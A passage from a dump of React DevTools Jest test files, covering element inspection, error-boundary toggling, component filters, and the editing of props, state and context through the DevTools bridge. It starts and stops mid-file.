clearErrorsForElement({bridge, id, rendererID});\n\n      // Flush events to the renderer.\n      jest.runOnlyPendingTimers();\n\n      data = [\n        await getErrorsAndWarningsForElementAtIndex(0),\n        await getErrorsAndWarningsForElementAtIndex(1),\n      ];\n      expect(data).toMatchInlineSnapshot(`\n        [\n          {\n            \"errors\": [],\n            \"warnings\": [\n              [\n                \"test-only: render warning #1\",\n                1,\n              ],\n            ],\n          },\n          {\n            \"errors\": [],\n            \"warnings\": [\n              [\n                \"test-only: render warning #2\",\n                1,\n              ],\n            ],\n          },\n        ]\n      `);\n    });\n  });\n\n  // TODO(hoxyq): Enable this test for versions ~18, currently broken\n  // @reactVersion <= 18.2\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('inspecting nested renderers should not throw (legacy render)', async () => {\n    // Ignoring react art warnings\n    jest.spyOn(console, 'error').mockImplementation(() => {});\n    const ReactArt = require('react-art');\n    const ArtSVGMode = require('art/modes/svg');\n    const ARTCurrentMode = require('art/modes/current');\n    store.componentFilters = [];\n\n    ARTCurrentMode.setCurrent(ArtSVGMode);\n    const {Surface, Group} = ReactArt;\n\n    function Child() {\n      return (\n        <Surface width={1} height={1}>\n          <Group />\n        </Surface>\n      );\n    }\n    function App() {\n      return <Child />;\n    }\n\n    await utils.actAsync(() => {\n      legacyRender(<App />);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Child>\n            ▾ <Surface>\n                <svg>\n      [root]\n          <Group>\n    `);\n\n    const inspectedElement = await inspectElementAtIndex(4);\n    expect(inspectedElement.owners).toMatchInlineSnapshot(`\n      [\n        {\n          \"compiledWithForget\": false,\n          \"displayName\": \"Child\",\n          \"hocDisplayNames\": null,\n          \"id\": 3,\n          \"key\": null,\n          \"type\": 5,\n        },\n        {\n          \"compiledWithForget\": false,\n          \"displayName\": \"App\",\n          \"hocDisplayNames\": null,\n          \"id\": 2,\n          \"key\": null,\n          \"type\": 5,\n        },\n      ]\n    `);\n  });\n\n  it('inspecting nested renderers should not throw (createRoot)', async () => {\n    // Ignoring react art warnings\n    jest.spyOn(console, 'error').mockImplementation(() => {});\n    const ReactArt = require('react-art');\n    const ArtSVGMode = require('art/modes/svg');\n    const ARTCurrentMode = require('art/modes/current');\n    store.componentFilters = [];\n\n    ARTCurrentMode.setCurrent(ArtSVGMode);\n    const {Surface, Group} = ReactArt;\n\n    function Child() {\n      return (\n        <Surface width={1} height={1}>\n          <Group />\n        </Surface>\n      );\n    }\n    function App() {\n      return <Child />;\n    }\n\n    await utils.actAsync(() => {\n      modernRender(<App />);\n    });\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <App>\n          ▾ <Child>\n            ▾ <Surface>\n                <svg>\n      [root]\n          <Group>\n    `);\n\n    const inspectedElement = await inspectElementAtIndex(4);\n    // TODO: Ideally this should match the owners of the Group but those are\n    // part of a different parent tree. Ideally the Group would be parent of\n    // that parent tree though which would fix this issue.\n    //\n    // [\n    //   {\n    //     \"compiledWithForget\": false,\n    //     \"displayName\": \"Child\",\n    //     \"hocDisplayNames\": null,\n    //     \"id\": 8,\n    //     \"key\": null,\n    //     \"type\": 5,\n    //   },\n    //   {\n    //     \"compiledWithForget\": false,\n    //     \"displayName\": \"App\",\n    //     \"hocDisplayNames\": null,\n    //     \"id\": 7,\n    //     \"key\": null,\n    //     \"type\": 5,\n    //   },\n    // ]\n    expect(inspectedElement.owners).toMatchInlineSnapshot(`[]`);\n  });\n\n  describe('error boundary', () => {\n    it('can toggle error', async () => {\n      class LocalErrorBoundary extends React.Component<any> {\n        state = {hasError: false};\n        static getDerivedStateFromError(error) {\n          return {hasError: true};\n        }\n        render() {\n          const {hasError} = this.state;\n          return hasError ? 'has-error' : this.props.children;\n        }\n      }\n\n      const Example = () => 'example';\n\n      await utils.actAsync(() =>\n        render(\n          <LocalErrorBoundary>\n            <Example />\n          </LocalErrorBoundary>,\n        ),\n      );\n\n      const targetErrorBoundaryID = ((store.getElementIDAtIndex(\n        0,\n      ): any): number);\n      const inspect = index => {\n        // HACK: Recreate TestRenderer instance so we can inspect different elements\n        withErrorsOrWarningsIgnored(\n          ['An update to %s inside a test was not wrapped in act'],\n          () => {\n            testRendererInstance = TestRenderer.create(null, {\n              unstable_isConcurrent: true,\n            });\n          },\n        );\n        return inspectElementAtIndex(index);\n      };\n      const toggleError = async forceError => {\n        await withErrorsOrWarningsIgnored(['ErrorBoundary'], async () => {\n          await TestUtilsAct(async () => {\n            bridge.send('overrideError', {\n              id: targetErrorBoundaryID,\n              rendererID: store.getRendererIDForElement(targetErrorBoundaryID),\n              forceError,\n            });\n          });\n        });\n\n        await TestUtilsAct(async () => {\n          jest.runOnlyPendingTimers();\n        });\n      };\n\n      // Inspect <ErrorBoundary /> and see that we cannot toggle error state\n      // on error boundary itself\n      let inspectedElement = await inspect(0);\n      expect(inspectedElement.canToggleError).toBe(true);\n\n      // Inspect <Example />\n      inspectedElement = await inspect(1);\n      expect(inspectedElement.canToggleError).toBe(true);\n      expect(inspectedElement.isErrored).toBe(false);\n\n      // Suppress expected error and warning.\n      const consoleErrorMock = jest\n        .spyOn(console, 'error')\n        .mockImplementation(() => {});\n      const consoleWarnMock = jest\n        .spyOn(console, 'warn')\n        .mockImplementation(() => {});\n\n      // now force error state on <Example />\n      await toggleError(true);\n\n      consoleErrorMock.mockRestore();\n      consoleWarnMock.mockRestore();\n\n      // we are in error state now, <Example /> won't show up\n      withErrorsOrWarningsIgnored(['Invalid index'], () => {\n        expect(store.getElementIDAtIndex(1)).toBe(null);\n      });\n\n      // Inpsect <ErrorBoundary /> to toggle off the error state\n      inspectedElement = await inspect(0);\n      expect(inspectedElement.canToggleError).toBe(true);\n      expect(inspectedElement.isErrored).toBe(true);\n\n      await toggleError(false);\n\n      // We can now inspect <Example /> with ability to toggle again\n      inspectedElement = await inspect(1);\n      expect(inspectedElement.canToggleError).toBe(true);\n      expect(inspectedElement.isErrored).toBe(false);\n    });\n  });\n\n  it('should properly handle when components filters are updated', async () => {\n    const Wrapper = ({children}) => children;\n\n    let state;\n    let dispatch;\n    const Capture = () => {\n      dispatch = React.useContext(TreeDispatcherContext);\n      state = React.useContext(TreeStateContext);\n      return null;\n    };\n\n    function Child({logError = false, logWarning = false}) {\n      if (logError === true) {\n        console.error('test-only: error');\n      }\n      if (logWarning === true) {\n        console.warn('test-only: warning');\n      }\n      return null;\n    }\n\n    async function selectNextErrorOrWarning() {\n      await utils.actAsync(\n        () =>\n          dispatch({type: 'SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE'}),\n        false,\n      );\n    }\n\n    async function selectPreviousErrorOrWarning() {\n      await utils.actAsync(\n        () =>\n          dispatch({\n            type: 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE',\n          }),\n        false,\n      );\n    }\n\n    withErrorsOrWarningsIgnored(['test-only:'], () =>\n      utils.act(() =>\n        render(\n          <React.Fragment>\n            <Wrapper>\n              <Child logWarning={true} />\n            </Wrapper>\n            <Wrapper>\n              <Wrapper>\n                <Child logWarning={true} />\n              </Wrapper>\n            </Wrapper>\n          </React.Fragment>,\n        ),\n      ),\n    );\n\n    utils.act(() =>\n      TestRenderer.create(\n        <Contexts>\n          <Capture />\n        </Contexts>,\n      ),\n    );\n    expect(state).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n         ▾ <Wrapper>\n             <Child> ⚠\n         ▾ <Wrapper>\n           ▾ <Wrapper>\n               <Child> ⚠\n    `);\n\n    await selectNextErrorOrWarning();\n    expect(state).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n         ▾ <Wrapper>\n      →      <Child> ⚠\n         ▾ <Wrapper>\n           ▾ <Wrapper>\n               <Child> ⚠\n    `);\n\n    await utils.actAsync(() => {\n      store.componentFilters = [utils.createDisplayNameFilter('Wrapper')];\n      jest.runOnlyPendingTimers();\n    }, false);\n\n    expect(state).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n      →    <Child> ⚠\n           <Child> ⚠\n    `);\n\n    await selectNextErrorOrWarning();\n    expect(state).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n           <Child> ⚠\n      →    <Child> ⚠\n    `);\n\n    await utils.actAsync(() => {\n      store.componentFilters = [];\n      jest.runOnlyPendingTimers();\n    }, false);\n    expect(state).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n         ▾ <Wrapper>\n             <Child> ⚠\n         ▾ <Wrapper>\n           ▾ <Wrapper>\n      →        <Child> ⚠\n    `);\n\n    await selectPreviousErrorOrWarning();\n    expect(state).toMatchInlineSnapshot(`\n      ✕ 0, ⚠ 2\n      [root]\n         ▾ <Wrapper>\n      →      <Child> ⚠\n         ▾ <Wrapper>\n           ▾ <Wrapper>\n               <Child> ⚠\n    `);\n  });\n\n  // @reactVersion > 18.2\n  it('should inspect server components', async () => {\n    const ChildPromise = Promise.resolve(<div />);\n    ChildPromise._debugInfo = [\n      {\n        name: 'ServerComponent',\n        env: 'Server',\n        owner: null,\n      },\n    ];\n    const Parent = () => ChildPromise;\n\n    await utils.actAsync(() => {\n      modernRender(<Parent />);\n    });\n\n    const inspectedElement = await inspectElementAtIndex(1);\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": null,\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 3,\n        \"owners\": null,\n        \"props\": null,\n        \"rootType\": \"createRoot()\",\n        \"state\": null,\n      }\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/legacy/editing-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\ndescribe('editing interface', () => {\n  let PropTypes;\n  let React;\n  let ReactDOM;\n  let bridge: FrontendBridge;\n  let store: Store;\n\n  const act = (callback: Function) => {\n    callback();\n\n    jest.runAllTimers(); // Flush Bridge operations\n  };\n\n  const flushPendingUpdates = () => {\n    jest.runOnlyPendingTimers();\n  };\n\n  beforeEach(() => {\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n\n    PropTypes = require('prop-types');\n\n    // Redirect all React/ReactDOM requires to the v15 UMD.\n    // We use the UMD because Jest doesn't enable us to mock deep imports (e.g. \"react/lib/Something\").\n    jest.mock('react', () => jest.requireActual('react-15/dist/react.js'));\n    jest.mock('react-dom', () =>\n      jest.requireActual('react-dom-15/dist/react-dom.js'),\n    );\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n  });\n\n  describe('props', () => {\n    let committedProps;\n    let id;\n\n    function mountTestApp() {\n      class ClassComponent extends React.Component {\n        componentDidMount() {\n          committedProps = this.props;\n        }\n        componentDidUpdate() {\n          committedProps = this.props;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      act(() =>\n        ReactDOM.render(\n          React.createElement(ClassComponent, {\n            array: [1, 2, 3],\n            object: {nested: 'initial'},\n            shallow: 'initial',\n          }),\n          document.createElement('div'),\n        ),\n      );\n\n      id = ((store.getElementIDAtIndex(0): any): number);\n\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n    }\n\n    // @reactVersion >= 16.0\n    it('should have editable values', () => {\n      mountTestApp();\n\n      function overrideProps(path, value) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'props',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideProps(['shallow'], 'updated');\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n      overrideProps(['object', 'nested'], 'updated');\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n      overrideProps(['array', 1], 'updated');\n      expect(committedProps).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should have editable paths', () => {\n      mountTestApp();\n\n      function renamePath(oldPath, newPath) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('renamePath', {\n          id,\n          oldPath,\n          newPath,\n          rendererID,\n          type: 'props',\n        });\n        flushPendingUpdates();\n      }\n\n      renamePath(['shallow'], ['after']);\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n      renamePath(['object', 'nested'], ['object', 'after']);\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        after: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should enable adding new object properties and array values', async () => {\n      await mountTestApp();\n\n      function overrideProps(path, value) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'props',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideProps(['new'], 'value');\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideProps(['object', 'new'], 'value');\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideProps(['array', 3], 'new value');\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should have deletable keys', () => {\n      mountTestApp();\n\n      function deletePath(path) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('deletePath', {\n          id,\n          path,\n          rendererID,\n          type: 'props',\n        });\n        flushPendingUpdates();\n      }\n\n      deletePath(['shallow']);\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n      deletePath(['object', 'nested']);\n      expect(committedProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n      deletePath(['array', 1]);\n      expect(committedProps).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n    });\n  });\n\n  describe('state', () => {\n    let committedState;\n    let id;\n\n    function mountTestApp() {\n      class ClassComponent extends React.Component {\n        state = {\n          array: [1, 2, 3],\n          object: {\n            nested: 'initial',\n          },\n          shallow: 'initial',\n        };\n        componentDidMount() {\n          committedState = this.state;\n        }\n        componentDidUpdate() {\n          committedState = this.state;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      act(() =>\n        ReactDOM.render(\n          React.createElement(ClassComponent, {\n            object: {nested: 'initial'},\n            shallow: 'initial',\n          }),\n          document.createElement('div'),\n        ),\n      );\n\n      id = ((store.getElementIDAtIndex(0): any): number);\n\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n    }\n\n    // @reactVersion >= 16.0\n    it('should have editable values', () => {\n      mountTestApp();\n\n      function overrideState(path, value) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'state',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideState(['shallow'], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {nested: 'initial'},\n        shallow: 'updated',\n      });\n\n      overrideState(['object', 'nested'], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {nested: 'updated'},\n        shallow: 'updated',\n      });\n\n      overrideState(['array', 1], 'updated');\n      expect(committedState).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {nested: 'updated'},\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should have editable paths', () => {\n      mountTestApp();\n\n      function renamePath(oldPath, newPath) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('renamePath', {\n          id,\n          oldPath,\n          newPath,\n          rendererID,\n          type: 'state',\n        });\n        flushPendingUpdates();\n      }\n\n      renamePath(['shallow'], ['after']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n\n      renamePath(['object', 'nested'], ['object', 'after']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        after: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should enable adding new object properties and array values', async () => {\n      await mountTestApp();\n\n      function overrideState(path, value) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'state',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideState(['new'], 'value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideState(['object', 'new'], 'value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideState(['array', 3], 'new value');\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should have deletable keys', () => {\n      mountTestApp();\n\n      function deletePath(path) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n        bridge.send('deletePath', {\n          id,\n          path,\n          rendererID,\n          type: 'state',\n        });\n        flushPendingUpdates();\n      }\n\n      deletePath(['shallow']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n\n      deletePath(['object', 'nested']);\n      expect(committedState).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n\n      deletePath(['array', 1]);\n      expect(committedState).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n    });\n  });\n\n  describe('context', () => {\n    let committedContext;\n    let id;\n\n    function mountTestApp() {\n      class LegacyContextProvider extends React.Component<any> {\n        static childContextTypes = {\n          array: PropTypes.array,\n          object: PropTypes.object,\n          shallow: PropTypes.string,\n        };\n        getChildContext() {\n          return {\n            array: [1, 2, 3],\n            object: {\n              nested: 'initial',\n            },\n            shallow: 'initial',\n          };\n        }\n        render() {\n          return this.props.children;\n        }\n      }\n\n      class ClassComponent extends React.Component<any> {\n        static contextTypes = {\n          array: PropTypes.array,\n          object: PropTypes.object,\n          shallow: PropTypes.string,\n        };\n        componentDidMount() {\n          committedContext = this.context;\n        }\n        componentDidUpdate() {\n          committedContext = this.context;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      act(() =>\n        ReactDOM.render(\n          React.createElement(\n            LegacyContextProvider,\n            null,\n            React.createElement(ClassComponent),\n          ),\n          document.createElement('div'),\n        ),\n      );\n\n      // This test only covers Class components.\n      // Function components using legacy context are not editable.\n\n      id = ((store.getElementIDAtIndex(1): any): number);\n\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n    }\n\n    // @reactVersion >= 16.0\n    it('should have editable values', () => {\n      mountTestApp();\n\n      function overrideContext(path, value) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'context',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideContext(['shallow'], 'updated');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n\n      overrideContext(['object', 'nested'], 'updated');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n\n      overrideContext(['array', 1], 'updated');\n      expect(committedContext).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should have editable paths', () => {\n      mountTestApp();\n\n      function renamePath(oldPath, newPath) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n\n        bridge.send('renamePath', {\n          id,\n          oldPath,\n          newPath,\n          rendererID,\n          type: 'context',\n        });\n        flushPendingUpdates();\n      }\n\n      renamePath(['shallow'], ['after']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n\n      renamePath(['object', 'nested'], ['object', 'after']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        after: 'initial',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should enable adding new object properties and array values', async () => {\n      await mountTestApp();\n\n      function overrideContext(path, value) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'context',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideContext(['new'], 'value');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideContext(['object', 'new'], 'value');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n\n      overrideContext(['array', 3], 'new value');\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3, 'new value'],\n        object: {\n          nested: 'initial',\n          new: 'value',\n        },\n        shallow: 'initial',\n        new: 'value',\n      });\n    });\n\n    // @reactVersion >= 16.0\n    it('should have deletable keys', () => {\n      mountTestApp();\n\n      function deletePath(path) {\n        const rendererID = ((store.getRendererIDForElement(id): any): number);\n\n        bridge.send('deletePath', {\n          id,\n          path,\n          rendererID,\n          type: 'context',\n        });\n        flushPendingUpdates();\n      }\n\n      deletePath(['shallow']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n      });\n\n      deletePath(['object', 'nested']);\n      expect(committedContext).toStrictEqual({\n        array: [1, 2, 3],\n        object: {},\n      });\n\n      deletePath(['array', 1]);\n      expect(committedContext).toStrictEqual({\n        array: [1, 3],\n        object: {},\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/legacy/inspectElement-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\ndescribe('InspectedElementContext', () => {\n  let React;\n  let ReactDOM;\n  let bridge: FrontendBridge;\n  let store: Store;\n\n  let backendAPI;\n\n  const act = (callback: Function) => {\n    callback();\n\n    jest.runAllTimers(); // Flush Bridge operations\n  };\n\n  async function read(\n    id: number,\n    path: Array<string | number> = null,\n  ): Promise<Object> {\n    const rendererID = ((store.getRendererIDForElement(id): any): number);\n    const promise = backendAPI\n      .inspectElement(bridge, false, id, path, rendererID)\n      .then(data =>\n        backendAPI.convertInspectedElementBackendToFrontend(data.value),\n      );\n\n    jest.runOnlyPendingTimers();\n\n    return promise;\n  }\n\n  beforeEach(() => {\n    bridge = global.bridge;\n    store = global.store;\n\n    backendAPI = require('react-devtools-shared/src/backendAPI');\n\n    // Redirect all React/ReactDOM requires to the v15 UMD.\n    // We use the UMD because Jest doesn't enable us to mock deep imports (e.g. \"react/lib/Something\").\n    jest.mock('react', () => jest.requireActual('react-15/dist/react.js'));\n    jest.mock('react-dom', () =>\n      jest.requireActual('react-dom-15/dist/react-dom.js'),\n    );\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n  });\n\n  // @reactVersion >= 16.0\n  it('should inspect the currently selected element', async () => {\n    const Example = () => null;\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {a: 1, b: 'abc'}),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": {},\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"a\": 1,\n          \"b\": \"abc\",\n        },\n        \"rootType\": null,\n        \"state\": null,\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should support simple data types', async () => {\n    const Example = () => null;\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {\n          boolean_false: false,\n          boolean_true: true,\n          infinity: Infinity,\n          integer_zero: 0,\n          integer_one: 1,\n          float: 1.23,\n          string: 'abc',\n          string_empty: '',\n          nan: NaN,\n          value_null: null,\n          value_undefined: undefined,\n        }),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement).toMatchInlineSnapshot(`\n      {\n        \"context\": {},\n        \"events\": undefined,\n        \"hooks\": null,\n        \"id\": 2,\n        \"owners\": null,\n        \"props\": {\n          \"boolean_false\": false,\n          \"boolean_true\": true,\n          \"float\": 1.23,\n          \"infinity\": Infinity,\n          \"integer_one\": 1,\n          \"integer_zero\": 0,\n          \"nan\": NaN,\n          \"string\": \"abc\",\n          \"string_empty\": \"\",\n          \"value_null\": null,\n          \"value_undefined\": undefined,\n        },\n        \"rootType\": null,\n        \"state\": null,\n      }\n    `);\n  });\n\n  // @reactVersion >= 16.0\n  it('should support complex data types', async () => {\n    const Immutable = require('immutable');\n\n    const Example = () => null;\n\n    const arrayOfArrays = [[['abc', 123, true], []]];\n    const div = document.createElement('div');\n    const exampleFunction = () => {};\n    const setShallow = new Set(['abc', 123]);\n    const mapShallow = new Map([\n      ['name', 'Brian'],\n      ['food', 'sushi'],\n    ]);\n    const setOfSets = new Set([new Set(['a', 'b', 'c']), new Set([1, 2, 3])]);\n    const mapOfMaps = new Map([\n      ['first', mapShallow],\n      ['second', mapShallow],\n    ]);\n    const objectOfObjects = {\n      inner: {string: 'abc', number: 123, boolean: true},\n    };\n    const typedArray = Int8Array.from([100, -100, 0]);\n    const arrayBuffer = typedArray.buffer;\n    const dataView = new DataView(arrayBuffer);\n    const immutableMap = Immutable.fromJS({\n      a: [{hello: 'there'}, 'fixed', true],\n      b: 123,\n      c: {\n        '1': 'xyz',\n        xyz: 1,\n      },\n    });\n\n    class Class {\n      anonymousFunction = () => {};\n    }\n    const instance = new Class();\n\n    act(() =>\n      ReactDOM.render(\n        React.createElement(Example, {\n          anonymous_fn: instance.anonymousFunction,\n          array_buffer: arrayBuffer,\n          array_of_arrays: arrayOfArrays,\n          big_int: BigInt(123),\n          bound_fn: exampleFunction.bind(this),\n          data_view: dataView,\n          date: new Date(123),\n          fn: exampleFunction,\n          html_element: div,\n          immutable: immutableMap,\n          map: mapShallow,\n          map_of_maps: mapOfMaps,\n          object_of_objects: objectOfObjects,\n          react_element: React.createElement('span'),\n          regexp: /abc/giu,\n          set: setShallow,\n          set_of_sets: setOfSets,\n          symbol: Symbol('symbol'),\n          typed_array: typedArray,\n        }),\n        document.createElement('div'),\n      ),\n    );\n\n    const id = ((store.getElementIDAtIndex(0): any): number);\n    const inspectedElement = await read(id);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"anonymous_fn\": Dehydrated {\n          \"preview_short\": () => {},\n          \"preview_long\": () => {},\n        },\n        \"array_buffer\": Dehydrated {\n          \"preview_short\": ArrayBuffer(3),\n          \"preview_long\": ArrayBuffer(3),\n        },\n        \"array_of_arrays\": [\n          Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [Array(3), Array(0)],\n          },\n        ],\n        \"big_int\": Dehydrated {\n          \"preview_short\": 123n,\n          \"preview_long\": 123n,\n        },\n        \"bound_fn\": Dehydrated {\n          \"preview_short\": bound exampleFunction() {},\n          \"preview_long\": bound exampleFunction() {},\n        },\n        \"data_view\": Dehydrated {\n          \"preview_short\": DataView(3),\n          \"preview_long\": DataView(3),\n        },\n        \"date\": Dehydrated {\n          \"preview_short\": Thu Jan 01 1970 00:00:00 GMT+0000 (Coordinated Universal Time),\n          \"preview_long\": Thu Jan 01 1970 00:00:00 GMT+0000 (Coordinated Universal Time),\n        },\n        \"fn\": Dehydrated {\n          \"preview_short\": exampleFunction() {},\n          \"preview_long\": exampleFunction() {},\n        },\n        \"html_element\": Dehydrated {\n          \"preview_short\": <div />,\n          \"preview_long\": <div />,\n        },\n        \"immutable\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"a\", List(3)],\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": 